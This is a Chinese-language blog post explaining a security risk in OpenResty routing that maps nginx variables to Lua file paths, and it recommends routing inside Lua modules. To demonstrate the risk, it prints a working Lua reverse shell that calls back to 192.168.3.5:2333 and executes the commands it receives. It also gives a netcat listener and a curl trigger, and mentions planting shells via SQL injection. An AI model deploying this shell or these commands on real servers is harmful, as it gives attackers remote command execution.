在 OR 的官方 GitHub 中,介绍了这么一种简单的「路由」写法
# use nginx var in code path
# CAUTION: contents in nginx var must be carefully filtered,
# otherwise there'll be great security risk!
location ~ ^/app/([-_a-zA-Z0-9/]+) {
set $path $1;
content_by_lua_file /path/to/lua/app/root/$path.lua;
}
相信不少不同学也都使用了这种简便的方式。然而却忽略了春哥的警告:
CAUTION: contents in nginx var must be carefully filtered, otherwise there’ll be great security risk!
这里我来说下这个安全隐患是如何产生的。假如我们现在的路由结构是:
root/
├── fan.lua
├── follower.lua
└── user.lua
正常情况下我们请求 /app/user
就应该执行 root/user.lua
代码;/app/follower
就应该执行 root/follower.lua
代码。这是我们期待的结果。
但是假如你的服务器有文件上传漏洞或 SQL 注入漏洞,被攻击者利用进而植入了一个 shell.lua
的 webshell,那么现在我们的路由结构是:
SQL 注入不仅仅可以拖库,也是可以写 shell 的(SELECT OUTFILE)
root/
├── fan.lua
├── follower.lua
├── user.lua
└── shell.lua
这时候去请求 /app/shell
,就自然的去连接这个 webshell 了,这个 shell.lua
看起来是这个样子(反弹 shell 到攻击者的地址):
local sock = ngx.socket.tcp()
local ok, err = sock:connect("192.168.3.5", "2333")
if not ok then return end
while true do
local r,x = sock:receive()
local f = assert(io.popen(r,"r"))
local b = assert(f:read("*a"))
sock:send(b)
end
f:close()
sock:close()
我先在我的攻击机上执行(准备接收反弹回来的 shell)
nc -lvv 2333
开启另一个终端执行
curl http://victim/app/shell
回到 nc 查看权限:
接下来的就是去提权了。。。
要避免这个问题,就是要在匹配路径上做出更为严格的限制,但是这会导致 nginx.conf 可读性较差。
我的建议是路由还是直接放在 lua 里完成,这样我们的 handler()
可以获得更为安全的签名保护。反观今天的测试,其实本质上还是因为我们执行了不该信任的代码(没有签名),最终导致系统沦陷。如果使用 lua 模块化(相当于签名)的路由方式,就可以避免这个问题(即使你拿到了上传或注入的漏洞,最多也就是拖个库,也不会拿到整个系统的权限)。
有人说,时间是把杀猪刀。这很公平。但是,即使哪天挨上了这把杀猪刀,也希望自己是头优雅的猪。
而此时,2017 已经过去 1/2